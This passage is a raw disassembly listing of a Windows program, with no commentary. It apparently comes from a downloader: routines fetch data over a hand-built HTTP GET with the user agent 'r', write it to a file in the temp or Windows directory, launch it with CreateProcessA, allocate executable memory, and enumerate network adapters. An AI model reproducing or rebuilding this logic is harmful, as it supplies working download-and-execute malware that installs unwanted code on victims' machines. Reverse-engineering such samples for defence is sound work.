		jmp	short loc_6001C1E
; ---------------------------------------------------------------------------

loc_6001C1C:				; CODE XREF: sub_6001C02+13j
		xor	eax, eax

loc_6001C1E:				; CODE XREF: sub_6001C02+18j
		popf
		pop	edi
		retn	0Ch
sub_6001C02	endp


; =============== S U B	R O U T	I N E =======================================



sub_6001C23	proc near		; CODE XREF: .code:06001739p
					; .code:06001762p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		dec	eax
		push	eax
		inc	eax
		push	eax
		push	[esp+8+arg_0]
		call	sub_6001C02
		sub	eax, [esp+arg_0]
		retn	4
sub_6001C23	endp


; =============== S U B	R O U T	I N E =======================================



sub_6001C39	proc near		; CODE XREF: sub_6001675+7Cp
					; sub_6001FD5+4Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_0]
		call	sub_6001C23
		inc	eax
		push	eax
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_6001C02
		retn	8
sub_6001C39	endp


; =============== S U B	R O U T	I N E =======================================



sub_6001C54	proc near		; CODE XREF: sub_6001C69+Cp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_6001C23
		add	[esp+arg_0], eax
		pop	ebx
		call	sub_6001BC9
		jmp	ebx
sub_6001C54	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6001C69	proc near		; CODE XREF: start+235p start+3D6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	eax, eax
		dec	eax
		push	eax
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_6001C54
		retn	8
sub_6001C69	endp


; =============== S U B	R O U T	I N E =======================================



sub_6001C7D	proc near		; CODE XREF: sub_6001CA3+27p
					; sub_600231F+E4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		pushf
		cld
		mov	esi, [esp+0Ch+arg_0]
		mov	edi, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_8]
		xor	eax, eax
		test	eax, eax
		repe cmpsb
		ja	short loc_6001C99
		jb	short loc_6001C9C
		jmp	short loc_6001C9D
; ---------------------------------------------------------------------------

loc_6001C99:				; CODE XREF: sub_6001C7D+16j
		inc	eax
		jmp	short loc_6001C9D
; ---------------------------------------------------------------------------

loc_6001C9C:				; CODE XREF: sub_6001C7D+18j
		dec	eax

loc_6001C9D:				; CODE XREF: sub_6001C7D+1Aj
					; sub_6001C7D+1Dj
		popf
		pop	edi
		pop	esi
		retn	0Ch
sub_6001C7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_6001CA3	proc near		; CODE XREF: sub_6001CD1+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		call	sub_6001C23
		cmp	eax, [esp+arg_8]
		jge	short loc_6001CB6
		mov	[esp+arg_8], eax

loc_6001CB6:				; CODE XREF: sub_6001CA3+Dj
		push	[esp+arg_4]
		call	sub_6001C23
		cmp	eax, [esp+arg_8]
		jge	short loc_6001CC9
		mov	[esp+arg_8], eax

loc_6001CC9:				; CODE XREF: sub_6001CA3+20j
		pop	ebx
		call	sub_6001C7D
		jmp	ebx
sub_6001CA3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6001CD1	proc near		; CODE XREF: sub_6002681+CDp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	7FFFFFFFh
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_6001CA3
		retn	8
sub_6001CD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_6001CE6	proc near		; CODE XREF: sub_6001FD5+9Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		xor	ebx, ebx
		xor	eax, eax
		mov	ecx, 10h

loc_6001CF4:				; CODE XREF: sub_6001CE6+1Fj
		mov	bl, [esi]
		inc	esi
		sub	bl, 30h
		jb	short loc_6001D07
		cmp	bl, 9
		ja	short loc_6001D07
		mul	ecx
		add	eax, ebx
		jmp	short loc_6001CF4
; ---------------------------------------------------------------------------

loc_6001D07:				; CODE XREF: sub_6001CE6+14j
					; sub_6001CE6+19j
		pop	esi
		retn	4
sub_6001CE6	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_6001D0B(LPSTR lpBuffer,DWORD uSize)

sub_6001D0B	proc near		; CODE XREF: start+22Ap start+3CBp

lpBuffer	= dword	ptr  4
uSize		= dword	ptr  8

		push	esi
		push	edi
		mov	esi, [esp+8+lpBuffer]
		mov	edi, [esp+8+uSize]
		mov	byte ptr [esi],	0
		push	esi		; lpBuffer
		push	edi		; nBufferLength
		call	ds:GetTempPathA	; GetTempPathA
		cmp	byte ptr [esi],	0
		jnz	short loc_6001D38
		push	edi		; uSize
		push	esi		; lpBuffer
		call	ds:GetWindowsDirectoryA	; GetWindowsDirectoryA
		cmp	byte ptr [esi],	0
		jnz	short loc_6001D38
		mov	dword ptr [esi], 5C3A43h

loc_6001D38:				; CODE XREF: sub_6001D0B+18j
					; sub_6001D0B+25j
		pop	edi
		pop	esi
		retn	8
sub_6001D0B	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_6001D3D(SIZE_T dwSize)

sub_6001D3D	proc near		; CODE XREF: start+44p

dwSize		= dword	ptr  4

		mov	eax, [esp+dwSize]
		xor	ebx, ebx
		push	40h		; flProtect
		push	1000h		; flAllocationType
		push	eax		; dwSize
		push	ebx		; lpAddress
		call	ds:VirtualAlloc	; VirtualAlloc
		retn	4
sub_6001D3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_6001D55(LPCSTR lpFileName,LPCVOID lpBuffer,DWORD nNumberOfBytesToWrite,int,int)

sub_6001D55	proc near		; CODE XREF: start+243p start+3E4p

hObject		= dword	ptr -8
NumberOfBytesWritten= dword ptr	-4
lpFileName	= dword	ptr  8
lpBuffer	= dword	ptr  0Ch
nNumberOfBytesToWrite= dword ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		xor	eax, eax
		push	eax		; hTemplateFile
		push	eax		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	eax		; lpSecurityAttributes
		push	3		; dwShareMode
		push	40000000h	; dwDesiredAccess
		push	[ebp+lpFileName] ; lpFileName
		call	ds:CreateFileA	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_6001DE3
		mov	[ebp+hObject], eax
		xor	ebx, ebx
		mov	[ebp+NumberOfBytesWritten], ebx
		lea	edx, [ebp+NumberOfBytesWritten]
		push	0		; lpOverlapped
		push	edx		; lpNumberOfBytesWritten
		push	[ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
		push	[ebp+lpBuffer]	; lpBuffer
		push	eax		; hFile
		call	ds:WriteFile	; WriteFile
		push	[ebp+hObject]	; hObject
		call	ds:CloseHandle	; CloseHandle
		mov	eax, [ebp+arg_C]
		test	al, al
		jz	short loc_6001DDE
		xor	eax, eax
		push	eax		; hTemplateFile
		push	4000000h	; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	eax		; lpSecurityAttributes
		push	3		; dwShareMode
		push	80000000h	; dwDesiredAccess
		push	[ebp+lpFileName] ; lpFileName
		call	ds:CreateFileA	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_6001DE3
		mov	[ebp+hObject], eax
		push	1F4h		; dwMilliseconds
		push	[ebp+arg_10]	; int
		push	[ebp+lpFileName] ; int
		call	sub_6001DEB
		push	[ebp+hObject]	; hObject
		call	ds:CloseHandle	; CloseHandle

loc_6001DDE:				; CODE XREF: sub_6001D55+4Bj
		mov	eax, [ebp+NumberOfBytesWritten]
		jmp	short loc_6001DE5
; ---------------------------------------------------------------------------

loc_6001DE3:				; CODE XREF: sub_6001D55+20j
					; sub_6001D55+6Bj
		xor	eax, eax

loc_6001DE5:				; CODE XREF: sub_6001D55+8Cj
		mov	esp, ebp
		pop	ebp
		retn	14h
sub_6001D55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_6001DEB(int,int,DWORD dwMilliseconds)

sub_6001DEB	proc near		; CODE XREF: start+253p start+3F6p ...

hObject		= _PROCESS_INFORMATION ptr -458h
StartupInfo	= _STARTUPINFOA	ptr -448h
CommandLine	= byte ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
dwMilliseconds	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 458h
		push	edi
		pushf
		lea	edi, [ebp+hObject]
		mov	ecx, 96h
		xor	eax, eax
		rep stosd
		popf
		pop	edi
		mov	[ebp+StartupInfo.cb], 48h
		lea	eax, [ebp+CommandLine]
		push	100h
		push	[ebp+arg_0]
		push	eax
		call	sub_6001BC9
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		jz	short loc_6001E4A
		push	1
		push	offset byte_6001EA4
		push	eax
		call	sub_6001BC9
		push	2F6h
		push	[ebp+arg_4]
		push	eax
		call	sub_6001BC9

loc_6001E4A:				; CODE XREF: sub_6001DEB+3Fj
		lea	eax, [ebp+StartupInfo]
		lea	ebx, [ebp+hObject]
		lea	ecx, [ebp+CommandLine]
		xor	edx, edx
		push	ebx		; lpProcessInformation
		push	eax		; lpStartupInfo
		push	edx		; lpCurrentDirectory
		push	edx		; lpEnvironment
		push	edx		; dwCreationFlags
		push	edx		; bInheritHandles
		push	edx		; lpThreadAttributes
		push	edx		; lpProcessAttributes
		push	ecx		; lpCommandLine
		push	edx		; lpApplicationName
		call	ds:CreateProcessA	; CreateProcessA
		test	eax, eax
		jz	short loc_6001E9E
		mov	eax, [ebp+dwMilliseconds]
		test	eax, eax
		jz	short loc_6001E86
		push	eax		; dwMilliseconds
		push	[ebp+hObject.hProcess] ; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject

loc_6001E86:				; CODE XREF: sub_6001DEB+8Cj
		push	[ebp+hObject.hProcess] ; hObject
		call	ds:CloseHandle	; CloseHandle
		push	[ebp+hObject.hThread] ;	hObject
		call	ds:CloseHandle	; CloseHandle

loc_6001E9E:				; CODE XREF: sub_6001DEB+85j
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_6001DEB	endp

; ---------------------------------------------------------------------------
byte_6001EA4	db 20h,	0		; DATA XREF: sub_6001DEB+46o

; =============== S U B	R O U T	I N E =======================================



sub_6001EA6	proc near		; CODE XREF: sub_6001FD5+21p
		mov	eax, ds:6003198h
		test	eax, eax
		jz	short loc_6001EB5
		mov	eax, ds:6003194h
		retn
; ---------------------------------------------------------------------------

loc_6001EB5:				; CODE XREF: sub_6001EA6+7j
		inc	dword ptr ds:6003198h
		mov	eax, 101h
		sub	esp, 30h
		mov	ebx, ds:60031ACh
		test	ebx, ebx
		jz	short loc_6001ED1
		push	esp
		push	eax
		call	ebx

loc_6001ED1:				; CODE XREF: sub_6001EA6+25j
		mov	ds:6003194h, eax
		add	esp, 30h
		retn
sub_6001EA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_6001EDA	proc near		; CODE XREF: start+3B8p start+4F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, 3
		mov	eax, [esp+arg_0]
		mov	ebx, [esp+arg_4]
		mov	edx, [esp+arg_8]

loc_6001EEB:				; CODE XREF: sub_6001EDA+43j
		push	ecx
		push	eax
		push	ebx
		push	edx
		push	edx
		push	ebx
		push	eax
		call	sub_6001F24
		test	eax, eax
		jz	short loc_6001F01
		add	esp, 10h
		retn	0Ch
; ---------------------------------------------------------------------------

loc_6001F01:				; CODE XREF: sub_6001EDA+1Fj
		pop	edx
		pop	ebx
		pop	eax
		sub	esp, 0Ch
		push	edx
		push	ebx
		push	eax
		call	sub_6001FD5
		test	eax, eax
		jz	short loc_6001F19
		add	esp, 10h
		retn	0Ch
; ---------------------------------------------------------------------------

loc_6001F19:				; CODE XREF: sub_6001EDA+37j
		pop	edx
		pop	ebx
		pop	eax
		pop	ecx
		loop	loc_6001EEB
		xor	eax, eax
		retn	0Ch
sub_6001EDA	endp


; =============== S U B	R O U T	I N E =======================================



sub_6001F24	proc near		; CODE XREF: sub_6001EDA+18p
		mov	eax, ds:600319Ch
		test	eax, eax
		jnz	short loc_6001F30
		retn	0Ch
; ---------------------------------------------------------------------------

loc_6001F30:				; CODE XREF: sub_6001F24+7j
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		xor	eax, eax
		mov	[ebp-18h], eax
		push	eax
		push	eax
		push	eax
		push	4
		push	offset byte_6001FD3
		call	dword ptr ds:600319Ch
		test	eax, eax
		jz	short loc_6001FCA
		mov	[ebp-14h], eax
		xor	eax, eax
		push	eax
		push	84000100h
		push	eax
		push	eax
		push	dword ptr [ebp+8]
		push	dword ptr [ebp-14h]
		call	dword ptr ds:60031A8h
		test	eax, eax
		jz	short loc_6001FC1
		mov	[ebp-10h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp+10h]
		mov	[ebp-8], eax
		test	eax, eax
		jz	short loc_6001FB8

loc_6001F82:				; CODE XREF: sub_6001F24+89j
		xor	eax, eax
		mov	[ebp-4], eax
		lea	eax, [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	dword ptr ds:60031A4h
		test	eax, eax
		jz	short loc_6001FB8
		mov	eax, [ebp-4]
		test	eax, eax
		jz	short loc_6001FAF
		add	[ebp-0Ch], eax
		sub	[ebp-8], eax
		jle	short loc_6001FB8
		jmp	short loc_6001F82
; ---------------------------------------------------------------------------

loc_6001FAF:				; CODE XREF: sub_6001F24+7Fj
		mov	eax, [ebp+10h]
		sub	eax, [ebp-8]
		mov	[ebp-18h], eax

loc_6001FB8:				; CODE XREF: sub_6001F24+5Cj
					; sub_6001F24+78j ...
		push	dword ptr [ebp-10h]
		call	dword ptr ds:60031A0h

loc_6001FC1:				; CODE XREF: sub_6001F24+49j
		push	dword ptr [ebp-14h]
		call	dword ptr ds:60031A0h

loc_6001FCA:				; CODE XREF: sub_6001F24+2Cj
		mov	eax, [ebp-18h]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_6001F24	endp

; ---------------------------------------------------------------------------
byte_6001FD3	db 6Dh			; DATA XREF: sub_6001F24+1Fo
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_6001FD5	proc near		; CODE XREF: sub_6001EDA+30p

var_330		= word ptr -330h
var_32E		= word ptr -32Eh
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  0Ch
arg_4		= dword	ptr  10h
arg_8		= dword	ptr  14h

		push	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 330h
		mov	[ebp+var_330], 2
		xor	eax, eax
		mov	[ebp+var_328], eax
		mov	[ebp+var_324], eax
		call	sub_6001EA6
		test	eax, eax
		jnz	loc_60021DE
		lea	eax, [ebp+var_320]
		push	0FFh
		push	[ebp+arg_0]
		push	eax
		call	sub_6001BC9
		lea	eax, [ebp+var_320]
		push	2Fh
		push	eax
		call	sub_6001C39
		test	eax, eax
		jz	loc_60021DE
		mov	bl, [eax+1]
		cmp	bl, 2Fh
		jnz	loc_60021DE
		add	eax, 2
		mov	[ebp+var_18], eax
		push	2Fh
		push	eax
		call	sub_6001C39
		test	eax, eax
		jz	loc_60021DE
		mov	[ebp+var_1C], eax
		mov	byte ptr [eax],	0
		push	3Ah
		push	[ebp+var_18]
		call	sub_6001C39
		test	eax, eax
		jz	short loc_600209A
		mov	esi, eax
		mov	byte ptr [esi],	0
		inc	eax
		push	eax
		call	sub_6001CE6
		bswap	eax
		shr	eax, 10h
		mov	[ebp+var_32E], ax
		push	[ebp+var_18]
		call	dword ptr ds:60031C4h
		test	eax, eax
		jz	loc_60021DE
		mov	byte ptr [esi],	3Ah
		jmp	short loc_60020B4
; ---------------------------------------------------------------------------

loc_600209A:				; CODE XREF: sub_6001FD5+95j
		push	[ebp+var_18]
		call	dword ptr ds:60031C4h
		test	eax, eax
		jz	loc_60021DE
		mov	[ebp+var_32E], 5000h

loc_60020B4:				; CODE XREF: sub_6001FD5+C3j
		mov	[ebp+var_32C], eax
		lea	eax, [ebp+var_220]
		push	offset byte_60021E7
		push	eax
		call	sub_6001BED
		mov	ebx, [ebp+var_1C]
		inc	ebx
		push	ebx
		push	eax
		call	sub_6001BED
		push	offset aHttp1_1Host ; "	HTTP/1.1\r\nHost: "
		push	eax
		call	sub_6001BED
		push	[ebp+var_18]
		push	eax
		call	sub_6001BED
		push	offset aUserAgentRConn ; "\r\nUser-Agent: r\r\nConnection: close\r\n\r\n"
		push	eax
		call	sub_6001BED
		push	6
		push	1
		push	2
		call	dword ptr ds:60031B0h
		cmp	eax, 0FFFFFFFFh
		jz	loc_60021DE
		mov	[ebp+var_20], eax
		lea	ebx, [ebp+var_330]
		push	10h
		push	ebx
		push	eax
		call	dword ptr ds:60031B4h
		test	eax, eax
		jnz	loc_60021D5
		lea	esi, [ebp+var_220]
		push	esi
		call	sub_6001C23
		push	eax
		xor	ebx, ebx
		push	ebx
		push	eax
		push	esi
		push	[ebp+var_20]
		call	dword ptr ds:60031B8h
		pop	ebx
		cmp	eax, ebx
		jnz	loc_60021D5
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_14], eax
		test	eax, eax
		jz	short loc_60021D5
		mov	esi, [ebp+arg_4]

loc_6002162:				; CODE XREF: sub_6001FD5+1ABj
		xor	ebx, ebx
		push	ebx
		push	[ebp+var_14]
		push	esi
		push	[ebp+var_20]
		call	dword ptr ds:60031BCh
		cmp	eax, 0
		jl	short loc_60021D5
		jz	short loc_6002182
		add	esi, eax
		sub	[ebp+var_14], eax
		jle	short loc_60021D5
		jmp	short loc_6002162
; ---------------------------------------------------------------------------

loc_6002182:				; CODE XREF: sub_6001FD5+1A2j
		mov	ecx, [ebp+arg_8]
		sub	ecx, [ebp+var_14]
		test	ecx, ecx
		jz	short loc_60021D5
		sub	ecx, 3
		mov	esi, [ebp+arg_4]

loc_6002192:				; CODE XREF: sub_6001FD5+1D9j
		cmp	dword ptr [esi], 0A0D0A0Dh
		jnz	short loc_60021A0
		dec	ecx
		add	esi, 4
		jmp	short loc_60021B2
; ---------------------------------------------------------------------------

loc_60021A0:				; CODE XREF: sub_6001FD5+1C3j
		cmp	word ptr [esi],	0A0Ah
		jnz	short loc_60021AD
		inc	ecx
		add	esi, 2
		jmp	short loc_60021B2
; ---------------------------------------------------------------------------

loc_60021AD:				; CODE XREF: sub_6001FD5+1D0j
		inc	esi
		loop	loc_6002192
		jmp	short loc_60021C4
; ---------------------------------------------------------------------------

loc_60021B2:				; CODE XREF: sub_6001FD5+1C9j
					; sub_6001FD5+1D6j
		push	edi
		pushf
		cld
		mov	eax, [ebp+arg_8]
		sub	eax, ecx
		mov	[ebp+var_14], eax
		mov	edi, [ebp+arg_4]
		rep movsb
		popf
		pop	edi

loc_60021C4:				; CODE XREF: sub_6001FD5+1DBj
		push	[ebp+var_20]
		call	dword ptr ds:60031C0h
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_14]
		jmp	short loc_60021E0
; ---------------------------------------------------------------------------

loc_60021D5:				; CODE XREF: sub_6001FD5+156j
					; sub_6001FD5+17Aj ...
		push	[ebp+var_20]
		call	dword ptr ds:60031C0h

loc_60021DE:				; CODE XREF: sub_6001FD5+28j
					; sub_6001FD5+55j ...
		xor	eax, eax

loc_60021E0:				; CODE XREF: sub_6001FD5+1FEj
		mov	esp, ebp
		pop	ebp
		pop	esi
		retn	0Ch
sub_6001FD5	endp

; ---------------------------------------------------------------------------
byte_60021E7	db 47h			; DATA XREF: sub_6001FD5+EBo
		dd 2F205445h
		db 0
aHttp1_1Host	db ' HTTP/1.1',0Dh,0Ah  ; DATA XREF: sub_6001FD5+101o
		db 'Host: ',0
aUserAgentRConn	db 0Dh,0Ah		; DATA XREF: sub_6001FD5+115o
		db 'User-Agent: r',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_6002226	proc near		; CODE XREF: sub_60024DA+2Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	dword ptr ds:60031C8h, 0
		jz	short loc_600227B
		cmp	[ebp+arg_4], 41Ch
		jl	short loc_600227B
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebx], eax
		push	[ebp+arg_0]
		push	10004h
		push	0
		call	dword ptr ds:60031C8h
		test	eax, eax
		jnz	short loc_600227B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebx+0Ch]
		test	ecx, ecx
		jz	short loc_600227B
		mov	eax, [ebx+18h]
		add	ebx, [ebx+14h]

loc_600226A:				; CODE XREF: sub_6002226+4Bj
		cmp	eax, [ebx]
		jz	short loc_6002275
		add	ebx, 44h
		loop	loc_600226A
		jmp	short loc_600227B
; ---------------------------------------------------------------------------

loc_6002275:				; CODE XREF: sub_6002226+46j
		cmp	byte ptr [ebx+38h], 1
		jz	short loc_600227F

loc_600227B:				; CODE XREF: sub_6002226+Dj
					; sub_6002226+16j ...
		xor	eax, eax
		jmp	short loc_6002282
; ---------------------------------------------------------------------------

loc_600227F:				; CODE XREF: sub_6002226+53j
		xor	eax, eax
		inc	eax

loc_6002282:				; CODE XREF: sub_6002226+57j
		add	esp, 14h
		pop	ebp
		retn	8
sub_6002226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_6002289	proc near		; CODE XREF: sub_60024DA-39p
					; sub_60024DA-27p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	dword ptr ds:60031C8h, 0
		jz	short loc_600230B
		cmp	[ebp+arg_4], 41Ch
		jl	short loc_600230B
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebx], eax
		push	[ebp+arg_0]
		push	10004h
		push	0
		call	dword ptr ds:60031C8h
		test	eax, eax
		jnz	short loc_600230B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebx+0Ch]
		test	ecx, ecx
		jz	short loc_600230B
		mov	eax, [ebx+18h]
		add	ebx, [ebx+14h]

loc_60022CD:				; CODE XREF: sub_6002289+4Bj
		cmp	eax, [ebx]
		jz	short loc_60022D8
		add	ebx, 44h
		loop	loc_60022CD
		jmp	short loc_600230B
; ---------------------------------------------------------------------------

loc_60022D8:				; CODE XREF: sub_6002289+46j
		add	ebx, 1Ch
		cmp	[ebp+arg_8], 1
		jz	short loc_60022E4
		add	ebx, 8

loc_60022E4:				; CODE XREF: sub_6002289+56j
		cmp	dword ptr [ebx], 0
		jle	short loc_600230B
		cmp	dword ptr [ebx+4], 0
		jle	short loc_600230B
		push	dword ptr [ebx]
		mov	edx, [ebp+arg_0]
		add	edx, [ebx+4]
		push	dword ptr [ebx]
		push	edx
		push	[ebp+arg_0]
		call	sub_6001BAE
		pop	ebx
		add	ebx, [ebp+arg_0]
		mov	byte ptr [ebx],	0
		jmp	short loc_6002315
; ---------------------------------------------------------------------------

loc_600230B:				; CODE XREF: sub_6002289+Dj
					; sub_6002289+16j ...
		mov	ebx, [ebp+arg_0]
		mov	byte ptr [ebx],	0
		xor	eax, eax
		jmp	short loc_6002318
; ---------------------------------------------------------------------------

loc_6002315:				; CODE XREF: sub_6002289+80j
		xor	eax, eax
		inc	eax

loc_6002318:				; CODE XREF: sub_6002289+8Aj
		add	esp, 14h
		pop	ebp
		retn	0Ch
sub_6002289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_600231F	proc near		; CODE XREF: sub_600256F+15p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword ptr ds:60031E4h, 0
		jz	short loc_6002341
		cmp	dword ptr ds:60031CCh, 0
		jz	short loc_6002341
		mov	eax, [ebp+arg_4]
		cmp	eax, 3D8h
		jge	short loc_6002348

loc_6002341:				; CODE XREF: sub_600231F+Dj
					; sub_600231F+16j
		xor	eax, eax
		jmp	loc_6002477
; ---------------------------------------------------------------------------

loc_6002348:				; CODE XREF: sub_600231F+20j
		xor	eax, eax
		mov	edx, [ebp+arg_0]
		mov	[edx], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 23Ch
		xor	edx, edx
		div	dword_600247E
		mov	[ebp+var_4], eax
		mul	dword_600247E
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_0]
		add	ebx, 23Ch
		mov	eax, 19Ch

loc_600237C:				; CODE XREF: sub_600231F+61j
		mov	[ebx], eax
		add	ebx, eax
		loop	loc_600237C
		mov	ebx, [ebp+arg_0]
		add	ebx, 23Ch
		lea	eax, [ebp+var_8]
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		push	ebx
		call	dword ptr ds:60031E4h
		test	eax, eax
		jz	short loc_60023A5
		xor	eax, eax
		jmp	loc_6002477
; ---------------------------------------------------------------------------

loc_60023A5:				; CODE XREF: sub_600231F+7Dj
		mov	ebx, [ebp+arg_0]
		add	ebx, 23Ch
		mov	ecx, [ebp+var_C]
		test	ecx, ecx
		jz	short loc_60023BA
		cmp	ecx, [ebp+var_4]
		jle	short loc_60023C1

loc_60023BA:				; CODE XREF: sub_600231F+94j
		xor	eax, eax
		jmp	loc_6002477
; ---------------------------------------------------------------------------

loc_60023C1:				; CODE XREF: sub_600231F+99j
					; sub_600231F+C8j ...
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_0]
		add	eax, 19Ch
		mov	dword ptr [eax], 0A0h
		push	eax
		push	dword ptr [ebx+4]
		call	dword ptr ds:60031CCh
		test	eax, eax
		jz	short loc_60023EE

loc_60023DF:				; CODE XREF: sub_600231F+EEj
		pop	ecx
		pop	ebx
		add	ebx, 19Ch
		loop	loc_60023C1
		jmp	loc_6002472
; ---------------------------------------------------------------------------

loc_60023EE:				; CODE XREF: sub_600231F+BEj
		mov	edx, [ebp+arg_0]
		add	edx, 19Ch
		push	edx
		add	edx, 0Ch
		push	5
		push	offset aModem	; "modem"
		push	edx
		call	sub_6001C7D
		test	eax, eax
		jz	short loc_600240F
		pop	edx
		jmp	short loc_60023DF
; ---------------------------------------------------------------------------

loc_600240F:				; CODE XREF: sub_600231F+EBj
		pop	edx
		pop	ecx
		pop	ebx
		push	edx
		push	ecx
		push	ebx
		mov	ecx, [ebp+arg_0]
		add	ecx, 105h
		mov	eax, [ebx+4]
		mov	[ecx], eax
		add	ebx, 8
		push	101h
		push	ebx
		push	[ebp+arg_0]
		call	sub_6001BAE
		pop	ebx
		pop	ecx
		pop	edx
		push	edx
		push	ecx
		push	ebx
		mov	ecx, [ebp+arg_0]
		add	ecx, 101h
		mov	eax, [edx+4]
		mov	[ecx], eax
		add	edx, 0Ch
		add	ecx, 8
		push	93h
		push	edx
		push	ecx
		call	sub_6001BAE
		pop	ebx
		pop	ecx
		pop	edx
		cmp	word ptr [edx+4], 2000h
		jz	short loc_6002472
		add	ebx, 19Ch
		dec	ecx
		jnz	loc_60023C1

loc_6002472:				; CODE XREF: sub_600231F+CAj
					; sub_600231F+144j
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx]

loc_6002477:				; CODE XREF: sub_600231F+24j
					; sub_600231F+81j ...
		add	esp, 10h
		pop	ebp
		retn	8
sub_600231F	endp

; ---------------------------------------------------------------------------
dword_600247E	dd 19Ch			; DATA XREF: sub_600231F+3Ar
					; sub_600231F+43r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_60024DA

loc_6002482:				; CODE XREF: sub_60024DA-1Fj
					; sub_60024DA-17j
		xor	eax, eax
		popf
		pop	edi
		pop	esi
		add	esp, 88h
		pop	ebp
		retn	14h
; ---------------------------------------------------------------------------

loc_6002491:				; CODE XREF: sub_60024DA+39j
					; sub_60024DA+41j
		push	ecx
		cmp	al, 69h
		jz	short loc_60024A8
		push	1
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_6002289
		jmp	short loc_60024B8
; ---------------------------------------------------------------------------

loc_60024A8:				; CODE XREF: sub_60024DA-46j
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_6002289

loc_60024B8:				; CODE XREF: sub_60024DA-34j
		pop	ecx
		test	eax, eax
		jz	short loc_6002482
		mov	ebx, [ebp+arg_0]
		cmp	byte ptr [ebx],	0
		jz	short loc_6002482
		push	esi
		mov	esi, [ebp+arg_0]

loc_60024C9:				; CODE XREF: sub_60024DA-Bj
		lodsb
		cmp	al, 0
		jz	short loc_60024D1
		stosb
		loop	loc_60024C9

loc_60024D1:				; CODE XREF: sub_60024DA-Ej
		pop	esi
		test	ecx, ecx
		jnz	short loc_60024D8
		dec	ecx
		dec	esi

loc_60024D8:				; CODE XREF: sub_60024DA-6j
		jmp	short loc_60024F5
; END OF FUNCTION CHUNK	FOR sub_60024DA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


